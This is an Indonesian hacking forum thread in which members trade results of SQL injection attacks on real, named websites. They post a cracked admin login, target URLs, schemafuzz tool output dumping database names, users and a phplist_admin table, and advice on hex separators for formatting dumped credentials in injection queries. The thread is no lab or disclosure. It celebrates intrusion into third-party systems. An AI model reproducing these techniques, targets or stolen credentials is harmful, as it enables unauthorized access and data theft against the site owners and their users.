ada yang mau nerusin [SQL Injection]

[abit doang]

nah tu nemu juga akhir nya bos..
bisa di decrip pula..
hihi..
adminjuve:adminjuve

sayang bgt ya, situs keren bgitu masih kena dihajar pke skemafuss..

[djancoker]

http://www.essaygifts.co.za/catalogue-l ... ogue_login

:malumalu:

[kodok88]

[+] Gathering MySQL Server Configuration...
Database: coshuk_com_-_coshdb
User: coshadmin@localhost
Version: 5.0.51a-community
[+] Dumping data from database "None" Table "phplist_admin"
[+] and Column(s) ['id', 'email']
Traceback (most recent call last):
File "c:\python25\schemafuzz.py", line 508, in <module>
match = match[0][2:].split("\x1e")
IndexError: list index out of range

wah , table and column dah dapet, pas di cari isi columnnya malah gt, ada cara laen? mohon pencerahannya.

[Online Gratis]

waduh.. enak banget jebolnya... hahaha...
masih menyimak...

masih newbie

[Meonkzt]

http://www.essaygifts.co.za/includes/user_login.php

Forbidden
You don't have permission to access /includes/ on this server.

[cyber_criminal]

mas aku mau nnya neh ttng penggunaan 0x3a & 0x2b,,
perbdaannya apa ya mas...
ane nygkut dsitu trus klau pke sqli, mohon bntuannya ya

[heri_mew]

kalo gag salah

Code: Select all

0x3a itu sebenernya karakter tanda titik dua ( : )
0x2b tuh karakter tanda tambah ( + )

misal query begini

Code: Select all

(id_admin,0x2b,slogin,0x3a,spasswd)

maka munculnya waktu dumping di layar browser jadi gini

Code: Select all

4+Admin:1234567890987654321

hhe CMIIW karena ak juga newbie bgt :maaf: